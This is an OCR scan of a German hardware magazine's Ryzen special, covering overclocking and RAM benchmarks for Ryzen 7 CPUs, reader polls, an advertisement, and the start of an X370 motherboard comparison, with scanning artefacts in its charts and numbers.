DDR4-2666, 12-12-12-36, SR mi 5,65 (+3 90) 
DDR4-2666, 16-16-16-36, SR ms! (+2 96) 
DDR4-2133, 16-16-16-36, SR m 5,50 (Basis) 


System: Ryzen 7 1700X, Asus Crosshair VI Hero (BIOS 1001), 2 x 8 GiByte, MSI GTX 1080 


Gaming X 8G; Win 10 64 Bit, Geforce 378.78 WHQL (HQ) Bemerkungen: Weder Kern- 
OC noch Latenz-Tuning, sondern ein Dual-Rank-Aufbau bringt das größte Leistungsplus. 


Sekunden 
< Besser 


System: Ryzen 7 1700X, Asus Crosshair VI Hero (BIOS 1001), 2 x 8 GiByte, MSI GTX 
1080 Gaming X 8G; Windows 10 64 Bit, Geforce 378.78 WHQL (HQ) Bemerkungen: 
Die 25-prozentige Kerntakterhóhung wird nahezu 1:1 umgesetzt. 


Fps 
» Besser 
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such. Die Loadline-Calibration zeig- 
te außerdem eine Tendenz zum 
starken Overvolting: Bei eingestell- 
ten 1,45 Volt ergab Stufe 1 unter 
Vollast knapp 1,49 Volt, auf Stufe 3 
zeigte unser Multimeter rund 1,52 
Volt an. Stellen Sie die Kernspan- 
nung daher lieber zurückhaltend 


ein, wenn Sie kein Spannungsmess- 
gerät zum Prüfen am beschrifteten 
Messpunkt haben. 


Der Kerntakt lässt sich im BIOS 
über die  Einstellmóglichkeiten 
„FID“ und „DID“ bestimmen. Eine 
„FID“-Anhebung um eine Stufe 


entspricht dabei standardmäßig 
einer Erhöhung des Kerntakts um 
25 MHz. Mithilfe der ,DID"-Option 
haben Sie die Möglichkeit, das ein- 
stellbare Frequenzspektrum zu ver- 
ringern und dafür feinere Schrit- 
te einzustellen, z. B. von 7 MHz 
Kerntakt. Das ist aber lediglich 


theoretischer Natur, in unserem 
Fall erfolgten die Sprünge stets in 
25-MHz-Schritten. Bei praxisfernen 
Einstellungen, etwa für einen Kern- 
takt von lediglich 66 MHz, startete 
das System gar nicht erst. Ein Pro- 
Megahertz-Vergleich mit 

Pentium 1 muss also warten. 


einem 


Ryzen R7 1800X, 1700X und 1700 im OC-Vergleich 


achdem sich die vorherigen 
N Seiten um allgemeine Infor- 
mationen für alle Ryzen-Besitzer 
mit Tuning-Interesse drehten, be- 
trachten wir nun, welches der drei 
zum Start erhältlichen Modelle aus 
der Sicht eines Übertakters am bes- 
ten abschneidet. 


Fünf auf einen Streich 

Da wir für unser Ryzen-Special auf 
insgesamt fünf CPUs zurückgreifen 
konnten, war es naheliegend, mit 
allen Exemplaren Overclocking zu 
betreiben. So können wir einer- 
seits zeigen, welche Streuungen 
zwischen einzelnen Ryzen-Achtker- 
nern zu erwarten sind, und ande- 
rerseits untersuchen, ob zwischen 
den drei unterschiedlichen Mo- 
dellen Tendenzen hinsichtlich der 
Tuning-Reserven existieren. Wir 
nutzen das Gigabyte AX370-Gaming 
5 und den Luftkühler Scythe Raset- 
su. Im Folgenden die verwendeten 
CPUs und die unter der modellab- 
hängigen Typennummer platzier- 
ten Heatspreader-Aufschrift: 


I Ryzen 7 1800X (Nr. 1): 
UA 1705SUT 
9GU3926N70134 

I Ryzen 7 1800X (Nr. 2): 
UA 1707SUT 
9GU4598N70106 

I Ryzen 7 1700X: 

UA 1705SUT 
9GU3923N70227 

I Ryzen 7 1700 (Nr. 1): 
UA 1703SUS 
9GU0637M70034 

I Ryzen 7 1700 (Nr. 2): 
UA 1707SUT 
9GU4765N70118 


Zum Austesten greifen wir auf das 
von AMD offiziell herausgegebe- 
ne Overclocking-Tool Ryzen Mas- 
ter zurück, welches mit wenigen 
Klicks das Anpassen von Kerntakt 
und -spannung erlaubt und im 
Zusammenspiel mit dem  Giga- 
byte AX370-Gaming 5 reibungslos 
funktioniert. Wir testen alle Pro- 
zessoren bei Kernspannungen von 
115 bis 1,40 Volt und ermitteln, 
welche Taktfrequenz sich für den 


Cinebench R15 als stabil erweist. 
Die Größe der Schritte beträgt 0,05 
Volt beziehungsweise 50 MHz. Wie 
Sie einige Seiten zuvor sehen konn- 
ten, existieren einige anspruchs- 
vollere Testprogramme. Das ändert 
aber wenig an der Aussagekraft 
unserer Ergebnisse für einen Di- 
rektvergleich: Ein Prozessor, der 
für Cinebench um 100 MHz gegen- 
über einer anderen CPU herunter- 
getaktet werden muss, wird auch 
einen langen Test mit Prime95-Test 
nur mit einer reduzierten Taktfre- 
quenz überstehen. Der von Cine- 
bench ausgespuckte Punktwert er- 
móglicht uns zusammen mit einer 
Messung der Leistungsaufnahme 
allerdings, auch die Energieeffizi- 
enz der fünf übertakteten Chips zu 
vergleichen. 


Ryzen 7 1800X: Am schnellsten, aber 
mit geringen Reserven. Der 1800X 
bietet ohne Übertaktung die hóchs- 
te Leistung aller Ryzen-7-Modelle. 
Móglich macht es der hohe Takt: 
Unter Volllast liegen 3.700 MHz an, 


die ausgelesene Standardspannung 
beträgt knapp über 1,25 Volt. Der 
erste 1800X stemmt bereits bei 1,15 
Volt 3.800 MHz, knackt die 4-GHz- 
Marke allerdings erst bei 1,35 Volt. 
Mit 4.050 MHz erreichen wir den 
OCTakt aller Ryzen- 
Chips. Der zweite 1800X kommt 
hier nicht ganz mit und muss bei je- 
der Spannungsstufe um 50 bis 100 
MHz heruntergetaktet werden. Mit 
diesem Chip erreichen wir sowohl 
bei 1,35 als auch 1,40 Volt lediglich 
3.950 MHz. Gemessen am Standard- 
takt unter Volllast von 3.700 MHz 
erreichen wir bei diesen CPUs also 
nur ein Taktplus von 9,5 Rpozent 
(4.050 MHZ) respektive 6,8 Prozent 
(3.950 MHz). 


hóchsten 


Ryzen 7 1700X: Kein OC-Wunder, 
trotzdem überzeugend. Das kleinere 
,X -Modell läuft bei der Auslastung 
aller Kerne mit 3.500 MHz, wofür 
rund 1,20 Volt angelegt werden. 
Wir erreichen im Vergleich dazu 
bereits bei 1,15 Volt ein Taktplus 
von 200 MHz und beobachten ähn- 


Effizienz: Bei gleicher Spannung ähnlich gut OC-Potenzial: 1800X vor 1700X vor 1700 
Energieeffizienz in Cinebench R15 beim Maximaltakt jeder CPU OC-Potenzial in Cinebench R15 (ausgetestet in 50-MHz-Schritten) 
12,0 4.100 
11,5 4.000 - e: = 
А А — 
nol — N 3.900 T eg 
Ё 05 „Ж. S 3800 > n = — u BERNER EER 
: iii f E s 370 |l g a mm um 
e бой = р kasar; aE 
š e =»... c Ra Z SÉ, 
9,0 v м. = 3.500 K 
S оэ E. S iui /, 
a ` © i 
8,0 Ba 73.300 / 
75 z 3.200 ж 
7,0 3.100 
Standard | 1,15 Volt | 1,20 Volt | 1,25 Volt | 1,30 Volt | 1,35 Volt | 1,40 Volt Standard | 1,15 Volt | 1,20 Volt | 1,25 Volt | 1,30 Volt | 1,35 Volt | 1,40 Volt 
Ф 1800X Nr. 1 9,0 10,8 10,1 95 9,0 84 7,8 Ф 1800X Nr. 1 3.700 3.800 3.850 3.950 3.950 4.000 4.050 
m 1800X Nr. 2 91 10,6 9,9 94 8,9 8,3 7,7 m 1800X Nr. 2 3.700 3.700 3.750 3.850 3.900 3.950 3.950 
А 1700X 9,6 10,5 9,9 93 8,7 82 7,6 A 1700X 3.500 3.700 3.750 3.850 3.900 3.950 4.000 
x 1700 Nr. 1 10,5 10,8 10,3 9,7 9,2 8,6 8,0 x 1700 Nr. 1 3.200 3.650 3.750 3.800 3.850 3.950 3.950 
А 1700 Nr. 2 102 10,9 10,3 9,8 9,2 8,8 8,0 А 1700 Nr. 2 3.200 3.500 3.600 3.650 3.750 3.800 3.800 
System: Ryzen 7 1700X, Scythe Rasetsu, Gigabyte GA-AX370-Gaming 5 (BIOS F5c), 2 x 8 GiByte DDR4-2400 System: Ryzen 7 1700X, Scythe Rasetsu, Gigabyte GA-AX370-Gaming 5 (BIOS F5c), 2 x 8 GiByte DDR4-2400 
(18-17-17-39 2T), Zotac Geforce GT 640; Win 10 64 Bit, Spannungen via AMD Ryzen Master justiert (18-17-17-39 2T), Zotac Geforce GT 640; Win 10 64 Bit, Spannungen via AMD Ryzen Master justiert 
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lich wie bei den 1800X-Modellen 
eine annàhernd lineare Skalierung: 
Eine Spannungserhöhung um 0,05 
Volt wird typischerweise mit ei- 
nem Taktplus von 50 MHz belohnt. 
Das Ende der Fahnenstange ist bei 
1,40 Volt und 4.000 MHz erreicht. 
Damit ordnet sich der Chip zwi- 
schen beiden 1800X-CPUs ein. 
Gemessen am Ausgangswert von 
3.500 MHz entspricht dieses Ergeb- 
nis einer Takterhóhung von 14,3 %. 


Ryzen 7 1700: Das P/L-Wunder mit 
dem grófiten Potenzial. Acht Kerne 
zum Schnäppchenpreis - wo ist der 
Haken? Abgesehen von der verbes- 
serungswürdigen ` Spieleleistung 
der neuen AMD-CPUs müssen sich 
Käufer mit einer niedrigen Takt- 
frequenz begnügen: Beide Ryzen 
7 1700 laufen unter Volllast mit 
3.200 MHz, aber auch einer nied- 
rigen Spannung von rund 1,1 Volt; 
das schreit geradezu nach Over- 
clocking. Die erste CPU zeigt sich 
in dieser Hinsicht stark und ermóg- 
licht über alle Spannungsstufen 


wie der R7 1700X und der schwä- 
chere R7 1800X. Wir erreichen 
3.950 MHz bei 1,35 Volt, was ein 
Overclocking-Potenzial von 23,4 
Prozent ergibt. CPU Nr. 2 fällt im 
Direktvergleich deutlich zurück, 
bei identischer Spannung kommt 
es üblicherweise 150 MHz früher 
zum Absturz. Während die anderen 
vier Chips zumindest Hoffnung auf 
alltagstaugliche 4 GHz machen, ist 
dieser R7 1700 bereits bei 3.800 
MHz ausgereizt. Selbst mit der 
Brechstange, also massiver Über- 
spannung, dürfte dieser Rückstand 
bei Verwendung einer alltagstaug- 
lichen Kühlmethode nicht aufzu- 
holen sein. Trotzdem: Die 3,8 GHz 
entsprechen einer Taktanhebung 
um 18,8 Prozent, dem zweitbesten 
Wert aller fünf Ryzen-Chips. 


Wozu greifen Übertakter? 

Der 1800X ist nicht nur das Mo- 
dell, das die hóchste Grundge- 
schwindigkeit ohne Übertaktung, 
sondern tendenziell auch bessere 
Overclocking-Eigenschaften als 


bietet. Darauf weisen neben unse- 
ren Ergebnissen mit einer Handvoll 
CPUs auch die von Silicon Lottery 
veróffentlichten Daten hin. Der 
US-Online-Shop selektiert grófsere 
Mengen von Prozessoren hinsicht- 
lich ihres Overclocking-Potenzials 
und verkauft die übertaktungsfreu- 
digeren Modelle gegen einen Auf- 
preis. Demzufolge bewiltigen den 
als Selektionskriterium genutzten 
ROG Realbench erfolgreich: 


197 ?6 der 1800X-CPUs bei 3,9 GHz 
und maximal 1,376 Volt, 

1 73 % der 1800X-CPUs bei 4,0 GHz 
und maximal 1,408 Volt, 

121 % der 1800X-CPUs bei 4,1 GHz 
und maximal 1,44 Volt. 


Für die getesteten 1700X sehen die 
Zahlen folgendermaßen aus: 


1100 % schaffen 3,8 GHz bei maxi- 
mal 1,36 Volt, 

181 % schaffen 3,9 GHz bei maxi- 
mal 1,392 Volt, 

1 29 % schaffen 4,0 GHz bei maxi- 


Der Ryzen 7 1700 schneidet gering- 
fügig schlechter ab: 


197 % eignen sich für 3,8 GHz bei 
hóchstens 1,376 Volt 

1 77 % eignen sich für 3,9 GHz bei 
hóchstens 1,408 Volt 

1 26 % eignen sich für 4,0 GHz bei 
höchstens 1,44 Volt 


Das durch Tuning erreichbare Leis- 
tungsplus ist beim 1800X allerdings 
aufgrund des höchsten Standard- 
takts am geringsten, weshalb sich 
das Topmodell nur für Übertakter 
lohnt, die für wenige Prozent Mehr- 
leistung einen Aufpreis von rund 
200 Euro akzeptieren. Alle anderen 
übertaktungsfreudigen Anwender 
erhalten mit dem Ryzen 7 1700 ei- 
nen Achtkerner zum Schnäppchen- 
preis, der sich durch Overclocking 
zumindest auf das Leistungsniveau 
des 1800X beschleunigen lässt. Ef- 
fizienzfreunde profitieren von der 
niedrigen Standardspannung des 
1700, beim Übertakten ist der Ein- 
fluss der Kernspannung aber grö- 


hinweg ähnlich gute Ergebnisse die günstigeren Ryzen-Achtkerner mal 1,424 Volt. fser als die Wahl des Modells. (sw) 
Lesermeinung: Spieleleistung von Ryzen Lesermeinung: Overclocking von Ryzen 
6,42 % IB Besser als erwartet ......... 6,42% 4,88 % Wi Besser als erwartet ......... 4,88% 


1,95 % 


39,19 % 


Wi Genau wie erwartet...... 39,19% 
E Schlechter als erwartet . 46,44% 
Bi Keine Angabe ................. 7,95% 


Teilnehmer: 717 via pcghx.de 


Fast die Hälfte der Umfrage- 
teilnehmer hat mit einer höheren 
Spieleleistung des Ryzen gerech- 
net, die Erwartungen von rund 40 
Prozent der Leser wurden aber 
immerhin erfüllt. 


16,45 % 


43,24 % 


35,43 % 


Bi Genau wie erwartet...... 43,24% 
Wi Schlechter als erwartet... 35,43% 
Bi Keine Angabe................ 16,45% 


Teilnehmer: 717 via pcghx.de 


Wie bei der Spieleleistung wurden 
mehr Leser negativ als positiv 
überrascht, rund 35 Prozent hàtten 
mehr erwartet. Über 40 Prozent 
der Leser gingen aber offen- 
sichtlich bereits davon aus, dass 
Taktfrequenzen über 4 GHz mit 
acht Kernen kein Leichtes sind. 


Lesermeinung: Anwendungsleistung von Ryzen 


Lesermeinung: Energieeffizienz von Ryzen 


1,67% 
1,67 % 


34,45 % 


56,21 % 


IB Besser als erwartet .......56,2196 
Bi Genau wie erwartet...... 34,45% 
E Schlechter als erwartet ... 1,6796 
И Keine Angabe ................. 7,67% 


Teilnehmer: 717 via pcghx.de 


AMD zeigte zwar bereits 

vorab Benchmarks, in denen ein 
i7-6900K geschlagen wurde, 
doch ausgewählte Benchmarks 
können leicht ein falsches Bild 
erzeugen. Erfreulicherweise sind 
die Ryzen-Chips in Anwendungen 
allgemein sehr schnell — das hat 
die Mehrheit nicht erwartet. 


3,35 % 


15,06 % 


46,72 % 


34,87 % 


Wi Besser als erwartet....... 46,72% 
Bi Genau wie erwartet...... 34,87% 
E Schlechter als erwartet... 3,35% 
Bi Keine Angabe ............... 15,06% 


Teilnehmer: 717 via pcghx.de 


Mit bis zu 220 Watt TDP ging AMD 
beim 5-GHz-Chip FX-9590 an 

die Grenzen des Machbaren, die 
Ryzen-Achtkerner bieten dagegen 
eine zeitgemäße Energieeffizienz; 
damit hat fast die Hälfte der 

Leser im Vorfeld allerdings nicht 
gerechnet. 
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Elle Uess 


Enorme Kühlperformance für 
starke Gaming-PCs 


Sowohl der mächtige Olymp Doppelturm-Kühler als 
auch der massive Matterhorn Tower-Kühler von 
Alpenföhn bändigen jede noch so hitzige CPU und 
bleiben dank 6 Kupfer-Heatpipes und 
WingBoost-PWM-Lüftern dabei flüsterleise! 


KING MOD 


KALEIDOSKOP 


[7-Т1ШК, GTA 1080 


Extreme Gaming-Performance 
mit oder ohne Overclocking 
F ater nberaubende King Mod 
Saming-System wurde ein 
nthoo Evolv ATX Midi-Tower 
t Se ilen aus Hartglas 
-LED-Strips und 
tattet wird. 


pe ra tur gehalten mittels 
erhorn Black Edition 


Intel® Inside 
Herausragende Leistung Outside. 


( Perfektion bis ins Belastungstests auf maximale A 36 Monate Garantie mit eg? $ Höchste Kompatibilität 
P kleinste Detail Stabilität und Performance A 2 Jahren Pick-Up-Service ^ aller Komponenten 


Der King Mod Service macht 


Caseking GmbH, Gaußstr. 1, 10589 Berlin eMail: info@caseking.de tel. bestellen: 030 52 68 473 00 www.caseking.de 
Alle Preisangaben inkl. 19% MwSt., exkl. Versandkosten. Irrtümer, Druckfehler und Preisänderungen vorbehalten. 


Intel, das Intel Logo, Intel Inside, Intel Core, und Core Inside sind Marken der Intel Corporation in den USA und anderen Ländern. 
"Finanzierung gültig für alle Caseking PC-Systeme 
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SPECIAL | Ryzen: AM4-Mainboard 


Ryzen-Platinen: Fünf X370-Mainboards im Test 


ie Ablóse der FX-CPUs durch 

leistungsfähigere, effizientere 
Ryzen-Prozessoren nach über fünf 
Jahren ist nur eine von zwei großen 
Neuerungen bei AMD. Fast noch 
wichtiger ist der Abschied von der 
Sockel-AM3-Plattform, deren Eigen- 
schaften in weiten Teilen seit 2007 
unverändert sind. Zwar bot AMD 
zwischenzeitlich mit der FM1/FM2- 
Produktlinie deutlich fortschrittli- 
chere Unterbauten an, deren Aus- 
stattung sogar Intels LGA-1155- und 
-1150-Mittelklasse überlegen war, 


Prozessoren mit Mittel- oder Ober- 
klasseleistung wurden für die FM- 
Sockel aber nie veröffentlicht. 


Gestatten: Promontory 

Mit der Ryzen-Generation werden 
AM3- und FM2-Segment nun zu- 
sammengeführt, wobei die neue 
AM4-Plattform auf das FM-Konzept 
aufbaut. Das heißt: Neben dem Du- 
al-Channel-Speicherinterface (jetzt 
DDR4) beinhaltet die CPU auch 
den PClIExpress-Root-Controller 
mit 24 3.0 Lanes, von denen vier bei 
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M.2 und USB via CPU? Ryzen verschiebt traditionelle Aufgabenverteilungen und kann 
sogar SATA direkt anbinden, die knappen PCI-E-3.0-Ressourcen sind aber wichtiger. 


АМА PLATFORM FEATURE SUMMARY 


Chipset 
Segment 


PCI Express* 


Chipset Gen3 Graphics 


X370 


Performance 


B350 


Mainstream 


A320 
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USB 3.1 G2 
*3.161+20 


SATA Express™“ 
(SATA & GPP PCIe G3) 


SATA + NVMe 


x2 NVMe 


4+x2 NVMe 


2+6+6 


4+x2 NVMe 


PCI Express® 
бр? 


х4 Gen2 


Desktop-Mainboards für die Anbin- 
dung des „Promontory“-/O-Hubs 
reserviert werden. Im Gegensatz zu 
AMDs alten FCHs, Intels PCHs und 
noch älteren mehrteiligen Chipsät- 
zen sind die neuen, als X370, B350 
und A320 vermarkteten Begleit- 
Chips aber optional. In Mobilgerä- 
ten und Mini-PCs sollen Ryzen-CPUs 
- dank vier integrierter USB-3.0- 
Ports und der Möglichkeit, zwei 
PCI-Express-Lanes zu SATA-Ports 
umzufunktionieren - als eigenstän- 
diges System-on-a-Chip agieren. 


Zur Bereitstellung einer angemes- 
senen SATA- und USB-Ausstattung 
benötigen Desktop-Mainboards 
aber mehr Controller; die /O-Hubs 
liefern diese in einem praktischen 
Komplettpaket. Zusätzlich dient 
Promontory als PCI-Express-Switch 
und stellt, ausgehend von den vier 
Upstream-Leitungen zur CPU, 12 
Downstream-PCI-Express-Lanes 
zur Anbindung von Peripherie und 
Onboard-Zusatzcontrollern bereit. 


Heisenberg'sche Unschärfe 

In der Quantenphysik gilt, dass 
wahlweise nur der Ort oder die 
Geschwindigkeit eines Teilchens 
bestimmbar sind, nicht aber bei- 
de. Zum Redaktionsschluss dieser 
Ausgabe gilt das Gleiche für die 
Promontory-Downstream-Ports: 


Chipset Features (Every AM4 Processor is compatible with every AM4 Chipset) 


PCI Express* 
slots* 


Over- 


SATA RAID* ^ 
cocking 


x8 Gen2 


0,1,10 Yes Unlocked? 


x6 Gen2 


0,1,10 No Unlocked? 


0,1,10 No 


„PCle 3.0 connectivitiy pending certification": Eine kleine Fußnote in der Ryzen-5-Prásentation erklärt, warum die zum Ryzen- 
7-Launch versprochenen PCI-Express-Features vorerst von keinem Mainboard-Hersteller sinnvoll genutzt werden. 
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Wir konnten deren Existenz verifi- 
zieren, aber ihre Geschwindigkeit 
bleibt unklar. Zum Ryzen-7-Release 
versprach AMD, dass die X370- 
Ausbaustufe unserer Probanden 
achtmal PCI-Express 2.0 und vier- 
mal 3.0 beherrscht, wobei die vier 
3.0-Lanes in Form von zwei SATA- 
Express-Anschlüssen vorlägen. Im 
Ryzen-5-Presse-Kit deklarierte jetzt 
eine Fußnote alle Lanes als ,Gen3- 
Lizenzierung ausstehend", direkte 
Anfragen hierzu blieben bislang 
unbeantwortet. 


Auch die Mainboardhersteller ma- 
chen allenfalls nebulöse Andeutun- 
gen, möglicherweise ein Hinweis 
auf größere Probleme. Auffällig 
ist jedenfalls, dass kein Mainboard 
am Markt diese wertvolle PCI-Ex- 
press-3.0-Ausstattung in Erweite- 
rungs-Slots oder M.2-Steckplätze 
investiert. Stattdessen werden sie 
oft als reine SATA-Ports genutzt, sel- 
tener für PCI-Express-2.0-Onboard- 
Controller. In einem Fall liegen 
zwei dieser Lanes sogar komplett 
ungenutzt - angeblich kommt es 
bei PCI-Express-Betrieb zu Proble- 
men, wenn der Referenztakt von 
100 MHz abweicht. Einzig auf Gi- 
gabyte-Mainboards finden sich zu- 
mindest SATA-Express-Anschlüsse, 
die als PCI-Express 3.0 spezifiziert 
sind. Die einzig verfügbare SATA-E- 
Peripherie arbeitet aber durchgän- 
gig mit 2.0-Geschwindigkeit. 


Tatsächlich nutzbare PCI-Express- 
3.0-Fähigkeiten auf AM4-Main- 
boards gehen somit überall von 
der CPU aus. Deren 20 freie Lanes 
reichen für eine oder zwei Grafik- 
karten (x16/x0 beziehungsweise 
x8/x8) und eine flotte NVME-SSD. 
Mit aktuellen Intel-Sockel-1151-An- 
geboten (16 3.0-CPU-Lanes, dazu 
typischerweise 15 freie 3.0 Lanes 
für Peripherie beim Z270, 10 beim 
B250) kann die AMÁ-Plattform im 
Moment nicht mithalten. 


Testbedingungen 

Neue CPU, neue Plattform - also 
auch neue Testmethoden? Nicht 
ganz. Mit Windows 8.1 und einer 
SATA-SSD repräsentiert der PCGH- 
Testparcours eher den Anwender- 
Durchschnitt als die neueste Ent- 
wicklung und wird zur Nutzung 
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Asus Republic of Gamers Crosshair VI Hero 


Als vorerst einziges Mitglied der AM4-R0G-Familie ist Asus' AMD-Flaggschiff beinahe überladen mit Gamer- und Übertakter-Extras. Eine Lüftersteuerung mit 
vier internen Temperatursensoren und Anschlüssen für drei externe sowie einen Durchflussmesser, ein eigener Taktgeber für Referenztakt-OC und Span- 
nungsmesspunkte, RGB-Beleuchtung, RGB-Header und Befestigungsgewinde für Zieranbauten: Das Hero bietet mehr, als man sich wünschen kann. 


USB, so weit das Auge reicht 
Noch in der Z170-Generation kritisierten 
wir Oberklasse-Mainboards für magere 

6 USB-Ports. Das Crosshair VI ist über 
diese Kritik definitiv erhaben: Ingesamt 
14 USB-Anschlüsse (3.1 Typ-A, 3.1 Typ-C, 
8 x 3.0 Typ-A, 4 x 2.0 Typ-A) sollten für 
wirklich jede Anwendung ausreichen. 


AM3-Montagelöcher 

Laut AMD mussten die alten Kühler- 
Montage-Bohrungen der Sockel FM1/2 
und AM1/2 weichen, um den vielen 
Leiterbahnen des Sockel АМА Platz zu ver- 
schaffen. Asus beweist das Gegenteil und 
bringt zur Freude aller Aufrüster sogar 
beide Lochraster in der Platine unter. 


Reichhaltige Ausstattung, aber knappe Ressourcen o 


Acht SATA-Ports, ein (senkrechter) M.2-e-Key-Steckplatz für WLAN-Steckmodule hinter der 

l/O-Blende und ein USB-3.1-Zusatzcontroller überfordern die Ressourcen des X370. In Erman- 
gelung eines PCI-Express-Switches müssen sich x4- und x1-Steckplátze daher vier 2.0-Lanes 
teilen. Bei Einbau einer x4-Erweiterungskarte werden die x 1-Slots deaktiviert. 


neuester Features (beispielsweise 
Intels Speed Shift) mittelfristig ak- 
tualisiert werden müssen. Speziell 
an Ryzen angepasste Windows- 
Updates standen zum Redakti- 
onsschluss aber noch aus und wir 
haben uns bewusst gegen eine 
Umstellung zum jetzigen Zeit- 
punkt entschieden. Die Beibehal- 
tung des bewährten Testparcours 
ermöglicht im Gegenzug direkte 
Vergleiche mit Sockel-2011-v3- und 
-1151-Marktübersichten. ^ Ausstat- 
tungs- und Eigenschaftenwertung 
wurden nur gerinfügig an verän- 
derte Nutzergewohnheiten und an 
AMD-spezifische UEFI-Optionen 
angepasst. Auch die Gewichtung 
der Leistungs- und Verbrauchsmes- 
sungen entspricht 1:1 dem bekann- 
ten Sockel-1151-System. 


CPU und RAM 

Neu ist logischerweise die Ryzen- 
7-1800X-Test-CPU. Den Speicher 
haben wir parallel von Intels 
DDR4-2133-Sklyake-Spezifikation 
auf AMDs DDR4-2400-Vorgaben 
für zwei Dual-Rank-Module aufge- 
rüstet. Auch nach dutzenden UEFI- 
Updates bleibt die RAM-Kompati- 
bilität bei AM4-Mainboards aber 
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eine Baustelle und wir mussten die 
gewünschten Werte zum Teil ma- 
nuell einstellen. Mit den gewählten 
Kingston-Hyper-X-Modulen laufen 
immerhin alle Testteilnehmer sta- 
bil, Uneinigkeit herrscht dagegen 
über den Umgang mit XMP. 


Dieses von Intel initiierte Feature 
erlaubt die automatische Einstel- 
lung von RAM-Geschwindigkeiten 
jenseits der JEDEC-Spezifikationen 
- auf Intel-Systemen. Eine Stabili- 
tätsprüfung auf AMD-Systemen ist 
nicht vorgesehen und die XMP-Pro- 
file sollten dort gar nicht zur Aus- 
wahl stehen. Asrock und Gigabyte 
bieten dennoch stillschweigend 
die Möglichkeit, XMP zu aktivieren 
- und MSI bewirbt das Feature so- 
gar als „A-XMP“. Asus hingegen ver- 
zichtet auf einen Schalter, das in un- 
seren Speichermodulen hinterlegte 
DDR4-2666-XMP-Profil wird aber 
kurzerhand automatisch aktiviert. 
Stabilitätsprobleme ergaben sich 
aus dieser automatischen Übertak- 
tung nicht, im Gegenteil: Das Prime 
X370-Pro läuft mit XMP-Profil sogar 
stabiler als ohne. Für einen Ver- 
gleich auf DDR4-2400-Augenhöhe 
mussten wir daher in unseren Leis- 


Leistungsaufnahme: MSI knapp vor Gigabyte 


Rechner aus: Soft-off inklusive 80-Plus-Gold-Netzteil 
MSI X370 Xpower Gaming Titanium ШШШ 1,1 (Basis) 
Asus Prime X370-Pro E 1,4 (+27 %) 
Asrock X370 Killer SLI E 1,4 (+27 96) 
Gigabyte AX370-Gaming 5 EX 1,5 (+36 96) 
Asus Crosshair VI Hero X 3,2 (4-191 96) 
Leerlauf: Windows-8.1-Desktop inklusive 80-Plus-Gold-Netzteil 


MSI X370 Xpower Gaming Titanium == 48,9 (Basis) 
Asrock X370 Killer SLI ua 51,0 (4 %) 
Gigabyte AX370-Gaming 5 EX 51,5 (4-5 96) 
Asus Prime X370-Pro Eu 53,0 (+8 96) 
Asus Crosshair VI Hero Rm 53,2 (+9 96) 
Volllast: Witcher 2 + Prime 95 (4 Threads) inkl. 80-Plus-Gold-Netzteil 
Gigabyte AX370-Gaming 5 Xu 344 (Basis) 
Asus Crosshair VI Него m 344 (0 96) 
Asus Prime X370-Pro EX 350 (+2 96) 
MSI X370 Xpower Gaming Titanium EX 353 (+3 %) 
Asrock X370 Killer SLI ua 353 (+3 90) 


System: AMD Ryzen 7 1800X, Palit GTX 980 Ti Super Jetstream (110 96 Power-, 91°С 
Temp-Target; 2 x 8 GiByte DDR4-2400) Bemerkungen: Die Erfahrungen des Z270-Tests 


wiederholen sich, Asrocks ehemaliger Effizienz-Thron geht erneut an MSI. 


Watt 
< Besser 


tungsmessungen den RAM-Takt ma- 
nuell senken und gleichzeitig die 
RAM-Spannung anheben. 


CPU-Tuning 
Ebenfalls uneinheitlich, aber mo- 
dell- statt herstellerspezifisch sind 


die | CPU-Übertaktungseinstellun- 
gen. Laut einer unserer Quellen 
hält AMD den nötigen UEFI-Code 
für Referenztakt-Änderungen un- 
ter Verschluss, bis die SATA-Ex- 
press-Probleme behoben sind. Fest 
steht jedenfalls: Die AM4-Plattform 
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Mit der Aorus-Serie möchte Gigabyte ein Gegenstück zu Asus’ , ROG"- und Asrocks „Fatal1ty”-Marken aufbauen. Die Spieler-orientierten Zutaten sind 
ähnlich, aber Gigabyte verliert den Praxisnutzen deswegen nicht aus den Augen. So bietet das AX370-Gaming 5 neben RGB-Beleuchtungsmöglichkeiten vom 
Audio-Bereich bis zu den RAM-Slots auch die niedrigste Bootzeit im Test und einen zweiten ALC1220-Codec für optimale Sound-Qualität vorne und hinten. 


SATA-Express und U.2 
SATA-E-SSDs sind nie erschienen, für 
USB-3.1-Nachrüstlösungen ist der nur 
noch bei Gigabyte zu findende Standard 
aber nützlich — und als Funktionserwei- 
erung bestehender SATA-Ports quasi 
umsonst. Der ebenfalls selten genutze U.2 
eilt seine Ressourcen mit dem M.2-Slot. 


ADRUS 
39999939999 


Temperatursensoren 

ormale Onboard-Lüftersteuerungen ori- 
entieren sich nur an der CPU-Temperatur. 
Für die Regelung einer Wasserkühlung, 
die Kühlung von Festplatten oder die 
Gehäuselüftung ist das nicht optimal. 
Gigabyte bietet zusätzlich zu sechs inter- 
nen auch zwei externe Temperaturfühler. 


Ks FANASYS-FAN3 сүс FAN6 рум 


Dual-LAN, Quad-USB-3.1 und knappe PCI-E-Lanes 
Ähnlich wie Asus verbaut auch Gigabyte einen USB-3.1-Zusatzcontroller (keine Front-, dafür 
aber vier Heck-USB-3.1-Ports). Statt eines ungenutzten Slots für WLAN-Module gibt es außer- 
dem einen zweiten LAN-Controller (1x Intel, 1x Killer). Die resultierende Ressourcenknapp- 
heit führt auch hier zur Deaktivierung aller x1-Slots bei Ausnutzung des x4-Steckplatzes. 


als solche erlaubt im Moment keine 
Referenztakt-Änderungen, es sei 
denn, der Mainboardhersteller im- 
plementiert diese Möglichkeit über 
einen eigenen, externen Taktgeber. 
In unserem Vergleich bietet diesen 
nur das Crosshair VI Hero, alle an- 
deren Testteilnehmer müssen auf 
BCLK-OC-Optionen verzichten - 
was aber ein erträglicher Verlust 


Smart Fan $ 


ist: Dem Asus-OC-Guide zufolge 
muss bei Referenztakt-Anhebun- 
gen um mehr als fünf Prozent die 
PCI-Express-Geschwindigkeit auf 
2.0-Niveau  gedrosselt werden, 
sonst droht Instabilitàt (s. S. 22ff.). 


Ein zweiter, wichtiger Faktor für 
Übertakter kónnte die Spannungs- 


` 
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Temperatur regeln, sondern auch nach weiteren internen und externen Fühlern. 
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wandlertemperatur werden. AM3- 
Mainboards hatten hier aufgrund 
der stromhungrigen CPUs 
weise grofse Probleme, aber auch 
Sockel-AM4-Prozessoren 


teil- 


können 
mehr Energie umsetzen als man 
von Sockel-1151-Mittelklasse-CPUs 
gewöhnt ist. Der Gesamtverbrauch 
unseres Testsystems bewegt sich 
etwa auf Augenhöhe mit Sockel- 
